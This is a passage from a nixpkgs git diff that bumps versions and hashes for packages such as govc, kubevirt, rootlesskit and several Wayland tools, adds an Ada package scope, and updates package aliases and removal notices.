fix_systemd_udev_trigger +-fix_systemd_sysctl + + # Mask some units. + fix_systemd_mask dev-hugepages.mount +@@ -222,11 +149,6 @@ ACTION=="add|change|move", ENV{ID_NET_DRIVER}=="veth", ENV{INTERFACE}=="eth[0-9] EOF fi diff --git a/pkgs/tools/virtualization/govc/default.nix b/pkgs/tools/virtualization/govc/default.nix index e3fd16538e4d3..510ac24bbee41 100644 --- a/pkgs/tools/virtualization/govc/default.nix +++ b/pkgs/tools/virtualization/govc/default.nix @@ -2,7 +2,7 @@ buildGoModule rec { pname = "govc"; - version = "0.34.2"; + version = "0.35.0"; subPackages = [ "govc" ]; @@ -10,10 +10,10 @@ buildGoModule rec { rev = "v${version}"; owner = "vmware"; repo = "govmomi"; - sha256 = "sha256-UrGHuzUZvXWZRy4VJ1HlMBs2C8MuaUYhM6dlYIoG7vE="; + sha256 = "sha256-ILmQNTHdt1rD2/cXEHlYWvXs4puNgRsrRtJmdz15zg0="; }; - vendorHash = "sha256-1Y2Q2Ep3aqhUCSWey+sD4m7CgVEjlPt6ri3OKV8eERU="; + vendorHash = "sha256-kju7wbp/LAsh4kv6edmy8+jpbeQ/OatqPwlY3Y5O9iQ="; ldflags = [ "-s" diff --git a/pkgs/tools/virtualization/kubevirt/default.nix b/pkgs/tools/virtualization/kubevirt/default.nix index 519ffa83e6608..d20168fc7cba6 100644 --- a/pkgs/tools/virtualization/kubevirt/default.nix +++ b/pkgs/tools/virtualization/kubevirt/default.nix @@ -8,13 +8,13 @@ buildGoModule rec { pname = "kubevirt"; - version = "1.1.1"; + version = "1.2.0"; src = fetchFromGitHub { owner = "kubevirt"; repo = "kubevirt"; rev = "v${version}"; - hash = "sha256-4r85RDfndLUjpAmipe3oLFcGzD4GRfPgf7wku2unoes="; + hash = "sha256-GQhynbGu3pEYYKOib0l/TfXrrLQ7TkjacWVdwFrlzEo="; }; vendorHash = null; diff --git a/pkgs/tools/virtualization/rootlesskit/default.nix b/pkgs/tools/virtualization/rootlesskit/default.nix index cfd89ee451e64..18360fc7e2128 100644 --- a/pkgs/tools/virtualization/rootlesskit/default.nix +++ b/pkgs/tools/virtualization/rootlesskit/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "rootlesskit"; - version = "1.1.1"; + version = "2.0.1"; src = fetchFromGitHub { owner = "rootless-containers"; repo = "rootlesskit"; rev = "v${version}"; - hash = "sha256-QjGjP7GiJiP2bJE707Oc4wZ9o/gRmSboK9xGbbyG5EM="; + hash = "sha256-qcVgLhBUVZTvXz5/QytYWzYtCKscBab/Iy25KAgzExo="; }; - vendorHash = "sha256-mNuj4/e1qH3P5MfbwPLddXWhc8aDcQuoSSHZ+S+zKWw="; + vendorHash = "sha256-ctZt0jkBhQPryEKCrd1a+ymnVKkGasZV6gOtR5U0L0I="; passthru = { updateScript = nix-update-script { }; diff --git a/pkgs/tools/wayland/hyprland-per-window-layout/default.nix b/pkgs/tools/wayland/hyprland-per-window-layout/default.nix index 81671f46ed5b8..03f911e4f899f 100644 --- a/pkgs/tools/wayland/hyprland-per-window-layout/default.nix +++ b/pkgs/tools/wayland/hyprland-per-window-layout/default.nix @@ -2,16 +2,16 @@ rustPlatform.buildRustPackage rec { pname = "hyprland-per-window-layout"; - version = "2.7"; + version = "2.8.1"; src = fetchFromGitHub { owner = "coffebar"; repo = pname; rev = version; - hash = "sha256-Tci3OR7c8hEWAnFsBlSNZYt7znAxPRDhJV+1q7fw6z8="; + hash = "sha256-a1x22+f7VXkPC36/muauac0+mz2Bcr01TFWf+sGHH/g="; }; - cargoHash = "sha256-lVNephJ6UfdM6dPnHs+jHG9A79qHEsrm7tcjcDralnY="; + cargoHash = "sha256-R79ztYRLokGc4wQnoJeKsY/4EuCGuhdqBhBQVstY2gU="; meta = with lib; { description = "Per window keyboard layout (language) for Hyprland wayland compositor"; diff --git a/pkgs/tools/wayland/swayrbar/default.nix b/pkgs/tools/wayland/swayrbar/default.nix index f8f085f1632b6..db0095a973c3d 100644 --- a/pkgs/tools/wayland/swayrbar/default.nix +++ b/pkgs/tools/wayland/swayrbar/default.nix @@ -2,16 +2,16 @@ rustPlatform.buildRustPackage rec { pname = "swayrbar"; - version = "0.3.7"; + version = "0.3.8"; src = fetchFromSourcehut { owner = "~tsdh"; repo = "swayr"; rev = "swayrbar-${version}"; - sha256 = "sha256-41zlVT060Fu90N4oiZ6lWSZdJJSZjyk3GEA/u+bVNCI="; + sha256 = "sha256-pCXkgIesHqXI/m8ecytlq+U62lIrf7bOv95Hi/nyf/g="; }; - cargoHash = "sha256-/MUolnEdYlBTfmUB/j9vHaVpU63upeMoScjHl38cGjo="; + cargoHash = "sha256-RSdNYr6l9ayn9anczeGGh2rkKt6COqj+H71d14Gb8r0="; # don't build swayr buildAndTestSubdir = pname; diff --git a/pkgs/tools/wayland/swaysome/default.nix b/pkgs/tools/wayland/swaysome/default.nix index 308592e450f94..a4f042d991616 100644 --- a/pkgs/tools/wayland/swaysome/default.nix +++ b/pkgs/tools/wayland/swaysome/default.nix @@ -5,16 +5,16 @@ rustPlatform.buildRustPackage rec { pname = "swaysome"; - version = "2.1.0"; + version = "2.1.1"; src = fetchFromGitLab { owner = "hyask"; repo = pname; rev = version; - sha256 = "sha256-U5W/9VL1t1/R4ADPxseBV6CMKx04I4vbp7sFmSqRZXk="; + sha256 = "sha256-HRLMfpnqjDgkOIaH/7DxeYzoZn/0c0KUAmir8XIwesg="; }; - cargoHash = "sha256-QA3EQsYgjwx8QX50yaxiJyAPDlpYYqiqLiXco1kJmw0="; + cargoHash = "sha256-e5B90tIiXxuaRseok69EN4xuoRlCyiTVgEcAqvVg/dM="; meta = with lib; { description = "Helper to make sway behave more like awesomewm"; diff --git a/pkgs/tools/wayland/way-displays/default.nix b/pkgs/tools/wayland/way-displays/default.nix index 192e8aecc4faf..50ffefd1a6f9b 100644 --- a/pkgs/tools/wayland/way-displays/default.nix +++ b/pkgs/tools/wayland/way-displays/default.nix @@ -31,7 +31,12 @@ stdenv.mkDerivation rec { libinput ]; - makeFlags = [ "DESTDIR=$(out) PREFIX= PREFIX_ETC= ROOT_ETC=$(out)/etc"]; + makeFlags = [ + "PREFIX=${placeholder "out"}" + "PREFIX_ETC=${placeholder "out"}" + "CC:=$(CC)" + "CXX:=$(CXX)" + ]; meta = with lib; { homepage = "https://github.com/alex-courtis/way-displays"; diff --git a/pkgs/tools/wayland/wl-mirror/default.nix b/pkgs/tools/wayland/wl-mirror/default.nix index 81be582a25e35..73355f0877d8b 100644 --- a/pkgs/tools/wayland/wl-mirror/default.nix +++ b/pkgs/tools/wayland/wl-mirror/default.nix @@ -28,13 +28,13 @@ in stdenv.mkDerivation rec { pname = "wl-mirror"; - version = "0.16.1"; + version = "0.16.2"; src = fetchFromGitHub { owner = "Ferdi265"; repo = "wl-mirror"; rev = "v${version}"; - hash = "sha256-VUdmHJfbY1bA1/CeC8PJc+Xtupaz5a/15u4u3YGpxBA="; + hash = "sha256-srGqMqkkdJzcxN2sNToqDw/6B4OirlmKW1MXt1Nmvsk="; }; strictDeps = true; diff --git a/pkgs/tools/wayland/wl-screenrec/default.nix b/pkgs/tools/wayland/wl-screenrec/default.nix index c96a5834fa259..2836d7fed2bb7 100644 --- a/pkgs/tools/wayland/wl-screenrec/default.nix +++ b/pkgs/tools/wayland/wl-screenrec/default.nix @@ -9,16 +9,16 @@ rustPlatform.buildRustPackage rec { pname = "wl-screenrec"; - version = "unstable-2023-09-17"; + version = "0.1.3"; src = fetchFromGitHub { owner = "russelltg"; repo = pname; - rev = "a36c5923009b44f2131196d8a3a234948f8e0102"; - hash = "sha256-V29eB9vozVKIBq8dO7zgA4nirsh1eDBjJN+rwVkeDLE="; + rev = "v${version}"; + hash = "sha256-ThPZPV1GyMFRu94O9WwUpXbR4gnIML26K7TyIfXZlcI="; }; - cargoHash = "sha256-uUfEweLWn/NdqgY8O7Ld+YnGPKQV1tpJi/Gd4MZB4xI="; + cargoHash = "sha256-DtlVsUFKNKXcwqNvGvqkSKUE+kRHX8wajL4fR0c9ZuQ="; nativeBuildInputs = [ pkg-config diff --git a/pkgs/tools/wayland/wleave/default.nix b/pkgs/tools/wayland/wleave/default.nix index e90fed24f7fc5..94fd6e1237922 100644 --- a/pkgs/tools/wayland/wleave/default.nix +++ b/pkgs/tools/wayland/wleave/default.nix @@ -36,7 +36,18 @@ rustPlatform.buildRustPackage rec { glib ]; + postPatch = '' + substituteInPlace style.css \ + --replace-fail "/usr/share/wleave" "$out/share/${pname}" + + substituteInPlace src/main.rs \ + --replace-fail "/etc/wleave" "$out/etc/${pname}" + ''; + postInstall = '' + install -Dm644 -t "$out/etc/wleave" {"style.css","layout"} + install -Dm644 -t "$out/share/wleave/icons" icons/* + for f in man/*.scd; do local page="man/$(basename "$f" .scd)" scdoc < "$f" > "$page" diff --git a/pkgs/top-level/ada-packages.nix b/pkgs/top-level/ada-packages.nix new file mode 100644 index 0000000000000..2d3d0c4dc3fa4 --- /dev/null +++ b/pkgs/top-level/ada-packages.nix @@ -0,0 +1,45 @@ +{ lib +, pkgs +, makeScopeWithSplicing' +, generateSplicesForMkScope +, gnat +}: +let + gnat_version = lib.versions.major gnat.version; +in +makeScopeWithSplicing' { + otherSplices = generateSplicesForMkScope ("gnat" + gnat_version + "Packages"); + f = (self: { + inherit gnat; + + gprbuild-boot = self.callPackage ../development/ada-modules/gprbuild/boot.nix { }; + gprbuild = self.callPackage ../development/ada-modules/gprbuild { }; + + xmlada = self.callPackage ../development/ada-modules/xmlada { }; + + gnatprove = self.callPackage ../development/ada-modules/gnatprove { + ocamlPackages = pkgs.ocaml-ng.ocamlPackages_4_14; + }; + + gnatcoll-core = self.callPackage ../development/ada-modules/gnatcoll/core.nix { }; + + # gnatcoll-bindings repository + gnatcoll-gmp = self.callPackage ../development/ada-modules/gnatcoll/bindings.nix { component = "gmp"; }; + gnatcoll-iconv = self.callPackage ../development/ada-modules/gnatcoll/bindings.nix { component = "iconv"; }; + gnatcoll-lzma = self.callPackage ../development/ada-modules/gnatcoll/bindings.nix { component = "lzma"; }; + gnatcoll-omp = self.callPackage ../development/ada-modules/gnatcoll/bindings.nix { component = "omp"; }; + gnatcoll-python3 = self.callPackage ../development/ada-modules/gnatcoll/bindings.nix { component = "python3"; python3 = pkgs.python39; }; + gnatcoll-readline = self.callPackage ../development/ada-modules/gnatcoll/bindings.nix { component = "readline"; }; + gnatcoll-syslog = self.callPackage ../development/ada-modules/gnatcoll/bindings.nix { component = "syslog"; }; + gnatcoll-zlib = self.callPackage ../development/ada-modules/gnatcoll/bindings.nix { component = "zlib"; }; + + # gnatcoll-db repository + gnatcoll-postgres = self.callPackage ../development/ada-modules/gnatcoll/db.nix { component = "postgres"; }; + gnatcoll-sql = self.callPackage ../development/ada-modules/gnatcoll/db.nix { component = "sql"; }; + gnatcoll-sqlite = self.callPackage ../development/ada-modules/gnatcoll/db.nix { component = "sqlite"; }; + gnatcoll-xref = self.callPackage ../development/ada-modules/gnatcoll/db.nix { component = "xref"; }; + gnatcoll-db2ada = self.callPackage ../development/ada-modules/gnatcoll/db.nix { component = "gnatcoll_db2ada"; }; + gnatinspect = self.callPackage ../development/ada-modules/gnatcoll/db.nix { component = "gnatinspect"; }; + }); +} + diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix index 4238169e980d0..e4d03b2916636 100644 --- a/pkgs/top-level/aliases.nix +++ b/pkgs/top-level/aliases.nix @@ -58,6 +58,7 @@ mapAliases ({ AusweisApp2 = ausweisapp; # Added 2023-11-08 a4term = a4; # Added 2023-10-06 + adtool = throw "'adtool' has been removed, as it was broken and unmaintained"; aether = throw "aether has been removed from nixpkgs; upstream unmaintained, security issues"; # Added 2023-10-03 airfield = throw "airfield has been removed due to being unmaintained"; # Added 2023-05-19 alertmanager-bot = throw "alertmanager-bot is broken and has been archived by upstream"; # Added 2023-07-28 @@ -75,6 +76,7 @@ mapAliases ({ apacheAnt_1_9 = throw "Ant 1.9 has been removed since it's not used in nixpkgs anymore"; # Added 2023-11-12 antimicroX = antimicrox; # Added 2021-10-31 arcanPackages = throw "arcanPackages was removed and its sub-attributes were promoted to top-level"; # Added 2023-11-26 + archiveopteryx = throw "archiveopteryx depended on an unsupported version of OpenSSL and was unmaintained"; # Added 2024-01-03 ardour_6 = throw "ardour_6 has been removed in favor of newer versions"; # Added 2023-10-13 aseprite-unfree = aseprite; # Added 2023-08-26 asls = throw "asls has been removed: abandoned by upstream"; # Added 2023-03-16 @@ -96,9 +98,12 @@ mapAliases ({ bash_5 = bash; # Added 2021-08-20 bazel_3 = throw "bazel 3 is past end of life as it is not an lts version"; # Added 2023-02-02 bedup = throw "bedup was removed because it was broken and abandoned upstream"; # added 2023-02-04 + bee-unstable = throw "bee-unstable has been removed, use 'bee' instead"; # Added 2024-02-12 + bee-clef = throw "bee-clef has been removed as the upstream project was archived"; # Added 2024-02-12 beignet = throw "beignet was removed as it was never ported from old llvmPackages_6 upstream"; # added 2024-01-08 binance = throw "binance has been removed, because it depends on a very outdated and insecure version of electron"; # Added 2023-11-09 bird2 = bird; # Added 2022-02-21 + bitwarden = bitwarden-desktop; # Added 2024-02-25 bitwig-studio1 = throw "bitwig-studio1 has been removed, you can upgrade to 'bitwig-studio'"; # Added 2023-01-03 bitwig-studio2 = throw "bitwig-studio2 has been removed, you can upgrade to 'bitwig-studio'"; # Added 2023-01-03 blender-with-packages = args: @@ -156,9 +161,12 @@ mapAliases ({ chrome-gnome-shell = gnome-browser-connector; # Added 2022-07-27 chromiumBeta = throw "'chromiumBeta' has been removed due to the lack of maintenance in nixpkgs. Consider using 'chromium' instead."; # Added 2023-10-18 chromiumDev = throw "'chromiumDev' has been removed due to the lack of maintenance in nixpkgs. Consider using 'chromium' instead."; # Added 2023-10-18 - citra = citra-nightly; # added 2022-05-17 + citra = throw "citra has been removed from nixpkgs, as it has been taken down upstream"; # added 2024-03-04 + citra-nightly = throw "citra-nightly has been removed from nixpkgs, as it has been taken down upstream"; # added 2024-03-04 + citra-canary = throw "citra-canary has been removed from nixpkgs, as it has been taken down upstream"; # added 2024-03-04 clang-ocl = throw "'clang-ocl' has been replaced with 'rocmPackages.clang-ocl'"; # Added 2023-10-08 inherit (libsForQt5.mauiPackages) clip; # added 2022-05-17 + collada-dom = opencollada; # added 2024-02-21 composable_kernel = throw "'composable_kernel' has been replaced with 'rocmPackages.composable_kernel'"; # Added 2023-10-08 cpp-ipfs-api = cpp-ipfs-http-client; # Project has been renamed. Added 2022-05-15 crispyDoom = crispy-doom; # Added 2023-05-01 @@ -230,6 +238,7 @@ mapAliases ({ dotnet-sdk_3 = dotnetCorePackages.sdk_3_1; # Added 2020-01-19 dotnet-sdk_5 = dotnetCorePackages.sdk_5_0; # Added 2020-09-11 drgeo = throw "'drgeo' has been removed as it is outdated and unmaintained"; # Added 2023-10-15 + drush = throw "drush as a standalone package has been removed because it's no longer supported as a standalone tool"; dtv-scan-tables_linuxtv = dtv-scan-tables; # Added 2023-03-03 dtv-scan-tables_tvheadend = dtv-scan-tables; # Added 2023-03-03 du-dust = dust; # Added 2024-01-19 @@ -276,6 +285,7 @@ mapAliases ({ eterm = throw "eterm was removed because it is still insecure: https://github.com/mej/Eterm/issues/7"; # Added 2023-09-10 exa = throw "'exa' has been removed because it is unmaintained upstream. Consider using 'eza', a maintained fork"; # Added 2023-09-07 exhibitor = throw "'exhibitor' has been removed because it is unmaintained upstream"; # Added 2023-06-20 + eww-wayland = lib.warn "eww now can build for X11 and wayland simultaneously, so `eww-wayland` is deprecated, use the normal `eww` package instead." eww; ### F ### @@ -292,6 +302,7 @@ mapAliases ({ firmwareLinuxNonfree = linux-firmware; # Added 2022-01-09 fishfight = jumpy; # Added 2022-08-03 fitnesstrax = throw "fitnesstrax was removed from nixpkgs because it disappeared upstream and no longer compiles"; # added 2023-07-04 + flashrom-stable = flashprog; # Added 2024-03-01 flatbuffers_2_0 = flatbuffers; # Added 2022-05-12 flutter2 = throw "flutter2 has been removed because it isn't updated anymore, and no packages in nixpkgs use it. If you still need it, use flutter.mkFlutter to get a custom version"; # Added 2023-07-03 flutter37 = throw "flutter37 has been removed because it isn't updated anymore, and no packages in nixpkgs use it. If you still need it, use flutter.mkFlutter to get a custom version"; # Added 2023-07-03 @@ -313,6 +324,12 @@ mapAliases ({ fcitx-engines = throw "fcitx-engines is deprecated, please use fcitx5 instead."; # Added 2023-03-13 fcitx-configtool = throw "fcitx-configtool is deprecated, please use fcitx5 instead."; # Added 2023-03-13 + fcitx5-chinese-addons = libsForQt5.fcitx5-chinese-addons; # Added 2024-03-01 + fcitx5-configtool = libsForQt5.fcitx5-configtool; # Added 2024-03-01 + fcitx5-skk-qt = libsForQt5.fcitx5-skk-qt; # Added 2024-03-01 + fcitx5-unikey = libsForQt5.fcitx5-unikey; # Added 2024-03-01 + fcitx5-with-addons = libsForQt5.fcitx5-with-addons; # Added 2024-03-01 + ### G ### g4py = python3Packages.geant4; # Added 2020-06-06 @@ -345,6 +362,21 @@ mapAliases ({ gnatboot11 = gnat-bootstrap11; gnatboot12 = gnat-bootstrap12; gnatboot = gnat-bootstrap; + gnatcoll-core = gnatPackages.gnatcoll-core; # Added 2024-02-25 + gnatcoll-gmp = gnatPackages.gnatcoll-gmp; # Added 2024-02-25 + gnatcoll-iconv = gnatPackages.gnatcoll-iconv; # Added 2024-02-25 + gnatcoll-lzma = gnatPackages.gnatcoll-lzma; # Added 2024-02-25 + gnatcoll-omp = gnatPackages.gnatcoll-omp; # Added 2024-02-25 + gnatcoll-python3 = gnatPackages.gnatcoll-python3; # Added 2024-02-25 + gnatcoll-readline = gnatPackages.gnatcoll-readline; # Added 2024-02-25 + gnatcoll-syslog = gnatPackages.gnatcoll-syslog; # Added 2024-02-25 + gnatcoll-zlib = gnatPackages.gnatcoll-zlib; # Added 2024-02-25 + gnatcoll-postgres = gnatPackages.gnatcoll-postgres; # Added 2024-02-25 + gnatcoll-sql = gnatPackages.gnatcoll-sql; # Added 2024-02-25 + gnatcoll-sqlite = gnatPackages.gnatcoll-sqlite; # Added 2024-02-25 + gnatcoll-xref = gnatPackages.gnatcoll-xref; # Added 2024-02-25 + gnatcoll-db2ada = gnatPackages.gnatcoll-db2ada; # Added 2024-02-25 + gnatinspect = gnatPackages.gnatinspect; # Added 2024-02-25 gnome-firmware-updater = gnome-firmware; # added 2022-04-14 gnome-passwordsafe = gnome-secrets; # added 2022-01-30 gnome-mpv = throw "'gnome-mpv' has been renamed to/replaced by 'celluloid'"; # Converted to throw 2023-09-10 @@ -389,6 +421,9 @@ mapAliases ({ gocode = throw "'gocode' has been removed as the upstream project was archived. 'gopls' is suggested as replacement"; # Added 2023-12-26 govendor = throw "'govendor' has been removed as it is no longer maintained upstream, please use Go modules instead"; # Added 2023-12-26 gometer = throw "gometer has been removed from nixpkgs because goLance stopped offering Linux support"; # Added 2023-02-10 + gprbuild-boot = gnatPackages.gprbuild-boot; # Added 2024-02-25; + + gpt4all-chat = throw "gpt4all-chat has been renamed to gpt4all"; # Added 2024-02-27 graalvm11-ce = throw "graalvm11-ce has been removed because upstream dropped support to different JDK versions for each GraalVM release. Please use graalvm-ce instead"; # Added 2023-09-26 graalvm17-ce = throw "graalvm17-ce has been removed because upstream dropped support to different JDK versions for each GraalVM release. Please use graalvm-ce instead"; # Added 2023-09-26 @@ -401,6 +436,7 @@ mapAliases ({ graylog-3_3 = throw "graylog 3.x is EOL. Please consider downgrading nixpkgs if you need an upgrade from 3.x to latest series."; # Added 2023-10-09 graylog-4_0 = throw "graylog 4.x is EOL. Please consider downgrading nixpkgs if you need an upgrade from 4.x to latest series."; # Added 2023-10-09 graylog-4_3 = throw "graylog 4.x is EOL. Please consider downgrading nixpkgs if you need an upgrade from 4.x to latest series."; # Added 2023-10-09 + graylog-5_0 = throw "graylog 5.0.x is EOL. Please consider downgrading nixpkgs if you need an upgrade from 5.0.x to latest series."; # Added 2024-02-15 gr-gsm = throw "'gr-gsm' has been renamed to/replaced by 'gnuradio3_7.pkgs.gsm'"; # Converted to throw 2023-09-10 gringo = clingo; # added 2022-11-27 gr-limesdr = throw "'gr-limesdr' has been renamed to/replaced by 'gnuradio3_7.pkgs.limesdr'"; # Converted to throw 2023-09-10 @@ -688,6 +724,7 @@ mapAliases ({ mod_pkcs12 = apacheHttpdPackages.mod_pkcs12; # Added 2019-12-24 mod_timestamp = apacheHttpdPackages.mod_timestamp; # Added 2019-12-24 monero = monero-cli; # Added 2021-11-28 + moneyplex = throw "'moneyplex' has been removed, as it was broken and unmaintained"; # Added 2024-02-28 mongodb-4_0 = throw "mongodb-4_0 has been removed, it's end of life since April 2022"; # Added 2023-01-05 mongodb-4_2 = throw "mongodb-4_2 has been removed, it's end of life since April 2023"; # Added 2023-06-06 moonlander = throw "'moonlander' has been removed due to it being broken and unmaintained"; # Added 2023-11-26 @@ -713,6 +750,7 @@ mapAliases ({ net_snmp = throw "'net_snmp' has been renamed to/replaced by 'net-snmp'"; # Converted to throw 2023-09-10 netbox_3_3 = throw "netbox 3.3 series has been removed as it was EOL"; # Added 2023-09-02 netbox_3_5 = throw "netbox 3.5 series has been removed as it was EOL"; # Added 2024-01-22 + netease-music-tui = throw "netease-music-tui has been removed due to unmaintained by upstream and broken functionality"; # Added 2024-03-03 nextcloud25 = throw '' Nextcloud v25 has been removed from `nixpkgs` as the support for is dropped by upstream in 2023-10. Please upgrade to at least Nextcloud v26 by declaring @@ -727,6 +765,7 @@ mapAliases ({ nextcloud25Packages = throw "Nextcloud25 is EOL!"; # Added 2023-10-13 nagiosPluginsOfficial = monitoring-plugins; neochat = libsForQt5.kdeGear.neochat; # added 2022-05-10 + neoload = throw "'neoload' has been removed as it is broken and unmaintained"; # Added 2024-03-02 nitrokey-udev-rules = libnitrokey; # Added 2023-03-25 nix-direnv-flakes = nix-direnv; nix-repl = throw ( @@ -743,8 +782,12 @@ mapAliases ({ nix_2_4 = nixVersions.nix_2_4; nix_2_5 = nixVersions.nix_2_5; nix_2_6 = nixVersions.nix_2_6; - nixops = throw "'nixops' has been removed. Please use 'nixops_unstable' for the time being."; # Added 2023-10-26 + nixops = throw "'nixops' has been removed. Please use 'nixops_unstable_minimal' for the time being. E.g. nixops_unstable_minimal.withPlugins (ps: [ ps.nixops-gce ])"; # Added 2023-10-26 nixopsUnstable = nixops_unstable; # Added 2022-03-03 + + # When the nixops_unstable alias is removed, nixops_unstable_minimal can be renamed to nixops_unstable. + nixops_unstable = throw "nixops_unstable has been replaced. Please use for example 'nixops_unstable_minimal.withPlugins (ps: [ ps.nixops-gce ps.nixops-encrypted-links ])' instead"; # Added 2024-02-28 + nixosTest = testers.nixosTest; # Added 2022-05-05 nmap-unfree = nmap; # Added 2021-04-06 nodejs_14 = throw "nodejs_14 has been removed as it is EOL."; # Added 2023-10-30 @@ -825,6 +868,9 @@ mapAliases ({ pharo-spur64 = pharo; # Added 2022-08-03 phodav_2_0 = throw "'phodav_2_0' has been renamed to/replaced by 'phodav'"; # Added 2023-02-21 photoflow = throw "photoflow was removed because it was broken and unmaintained by upstream"; # Added 2023-03-10 + picom-allusive = throw "picom-allusive was renamed to compfy and is being abandoned by upstream"; # Added 2024-02-13 + picom-jonaburg = throw "picom-jonaburg was removed because it is unmaintained by upstream"; # Added 2024-02-13 + picom-next = picom; # Added 2024-02-13 # Obsolete PHP version aliases php80 = throw "php80 has been dropped due to the lack of maintenance from upstream for future releases"; # Added 2023-06-21 @@ -914,6 +960,7 @@ mapAliases ({ rarian = throw "rarian has been removed as unused"; # Added 2023-07-05 rccl = throw "'rccl' has been replaced with 'rocmPackages.rccl'"; # Added 2023-10-08 rdc = throw "'rdc' has been replaced with 'rocmPackages.rdc'"; # Added 2023-10-08 + readline63 = throw "'readline63' has been replaced with 'readline'"; # Added 2024-02-10 redpanda = redpanda-client; # Added 2023-10-14 restya-board = throw "'restya-board' has been removed from nixpkgs, as it was broken and unmaintained"; # Added 2024-01-22 retdec-full = throw "'retdec-full' is no longer needed, please use 'retdec'"; # Added 2024-02-05 @@ -1007,6 +1054,7 @@ mapAliases ({ spark2 = throw "'spark2' is no longer supported nixpkgs, please use 'spark'"; # Added 2023-05-08 spark_2_4 = throw "'spark_2_4' is no longer supported nixpkgs, please use 'spark'"; # Added 2023-05-08 spark_3_1 = throw "'spark_3_1' is no longer supported nixpkgs, please use 'spark'"; # Added 2023-05-08 + spark2014 = gnatprove; # Added 2024-02-25 # Added 2020-02-10 sourceHanSansPackages = { @@ -1050,6 +1098,7 @@ mapAliases ({ swift-im = throw "swift-im has been removed as it is unmaintained and depends on deprecated Python 2 / Qt WebKit"; # Added 2023-01-06 swtpm-tpm2 = swtpm; # Added 2021-02-26 syncthing-cli = syncthing; # Added 2021-04-06 + syncthingtray-qt6 = syncthingtray; # Added 2024-03-06 ### T ### @@ -1069,6 +1118,7 @@ mapAliases ({ tixati = throw "'tixati' has been removed from nixpkgs as it is unfree and unmaintained"; # Added 2023-03-17 tkcvs = tkrev; # Added 2022-03-07 tokodon = plasma5Packages.tokodon; + tokyo-night-gtk = tokyonight-gtk-theme; # Added 2024-01-28 tootle = throw "'tootle' has been removed as it is not maintained upstream. Consider using 'tuba' instead"; # Added 2024-02-11 tor-browser-bundle-bin = tor-browser; # Added 2023-09-23 transfig = fig2dev; # Added 2022-02-15 @@ -1116,6 +1166,8 @@ mapAliases ({ ventoy-bin = ventoy; # Added 2023-04-12 ventoy-bin-full = ventoy-full; # Added 2023-04-12 ViennaRNA = viennarna; # Added 2023-08-23 + vikunja-api = throw "'vikunja-api' has been replaced by 'vikunja'"; # Added 2024-02-19 + vikunja-frontend = throw "'vikunja-frontend' has been replaced by 'vikunja'"; # Added 2024-02-19 vimHugeX = vim-full; # Added 2022-12-04 vim_configurable = vim-full; # Added 2022-12-04 virtmanager = throw "'virtmanager' has been renamed to/replaced by 'virt-manager'"; # Converted to throw 2023-09-10 @@ -1163,6 +1215,7 @@ mapAliases ({ xdg_utils = xdg-utils; # Added 2021-02-01 xineLib = xine-lib; # Added 2021-04-27 xineUI = xine-ui; # Added 2021-04-27 + xmlada = gnatPackages.xmlada; # Added 2024-02-25 xonsh-unwrapped = throw "'xonsh-unwrapped' was incorporated into xonsh code; call xonsh directly instead."; # Added 2024-01-20 xtrt = throw "xtrt has been removed due to being abandoned"; # Added 2023-05-25 xulrunner = firefox-unwrapped; # Added 2023-11-03 @@ -1174,13 +1227,17 @@ mapAliases ({ yafaray-core = libyafaray; # Added 2022-09-23 yarn2nix-moretea-openssl_1_1 = throw "'yarn2nix-moretea-openssl_1_1' has been removed."; # Added 2023-02-04 yubikey-manager4 = throw "yubikey-manager4 has been removed, since it is no longer required by yubikey-manager-qt. Please update to yubikey-manager."; # Added 2024-01-14 - yuzu-ea = yuzuPackages.early-access; # Added 2022-08-18 - yuzu-early-access = yuzuPackages.early-access; # Added 2023-12-29 - yuzu = yuzuPackages.mainline; # Added 2021-01-25 - yuzu-mainline = yuzuPackages.mainline; # Added 2023-12-29 + yuzu-ea = throw "yuzu-ea has been removed from nixpkgs, as it has been taken down upstream"; # Added 2024-03-04 + yuzu-early-access = throw "yuzu-early-access has been removed from nixpkgs, as it has been taken down upstream"; # Added 2024-03-04 + yuzu = throw "yuzu has been removed from nixpkgs, as it has been taken down upstream"; # Added 2024-03-04 + yuzu-mainline = throw "yuzu-mainline has been removed from nixpkgs, as it has been taken down upstream"; # Added 2024-03-04 + yuzuPackages = throw "yuzuPackages has been removed from nixpkgs, as it has been taken down upstream"; # Added 2024-03-04 ### Z ### + zabbix40 = throw "'zabbix40' has been removed as it has reached end of life"; # Added 2024-01-07 + zfsStable = zfs; # Added 2024-02-26 + zfsUnstable = zfs_unstable; # Added 2024-02-26 zinc = zincsearch; # Added 2023-05-28 zkg = throw "'zkg' has been replaced by 'zeek'"; zq = zed.overrideAttrs (old: { meta = old.meta // { mainProgram = "zq"; }; }); # Added 2023-02-06 diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix index 0c74b39af6e60..97a4da725518d 100644 --- a/pkgs/top-level/all-packages.nix +++ b/pkgs/top-level/all-packages.nix @@ -491,8 +491,6 @@ with pkgs; banana-vera = callPackage ../development/tools/analysis/banana-vera { }; - chrysalis = callPackage ../applications/misc/chrysalis { }; - ciel = callPackage ../tools/package-management/ciel { }; circt = callPackage ../development/compilers/circt { }; @@ -561,6 +559,8 @@ with pkgs; containerpilot = callPackage ../applications/networking/cluster/containerpilot { }; + coolercontrol = recurseIntoAttrs (callPackage ../applications/system/coolercontrol { }); + coost = callPackage ../development/libraries/coost { }; confetty = callPackage ../applications/misc/confetty { }; @@ -726,6 +726,8 @@ with pkgs; inspec = callPackage ../tools/misc/inspec { }; + kdePackages = callPackage ../kde { }; + buildcatrust = with python3.pkgs; toPythonApplication buildcatrust; probe-rs = callPackage ../development/tools/rust/probe-rs { @@ -897,7 +899,9 @@ with pkgs; docker-slim = callPackage ../applications/virtualization/docker-slim { }; - doc2go = callPackage ../development/tools/doc2go { }; + doc2go = callPackage ../development/tools/doc2go { + buildGoModule = buildGo122Module; + }; docker-sync = callPackage ../tools/misc/docker-sync { }; @@ -1248,6 +1252,8 @@ with pkgs; fetchPypi = callPackage ../build-support/fetchpypi { }; + fetchPypiLegacy = callPackage ../build-support/fetchpypilegacy { }; + resolveMirrorURLs = {url}: fetchurl { showURLs = true; inherit url; @@ -1557,8 +1563,8 @@ with pkgs; adminer = callPackage ../servers/adminer { }; akkoma = callPackage ../servers/akkoma { - elixir = elixir_1_14; - beamPackages = beamPackages.extend (self: super: { elixir = elixir_1_14; }); + elixir = elixir_1_16; + beamPackages = beamPackages.extend (self: super: { elixir = elixir_1_16; 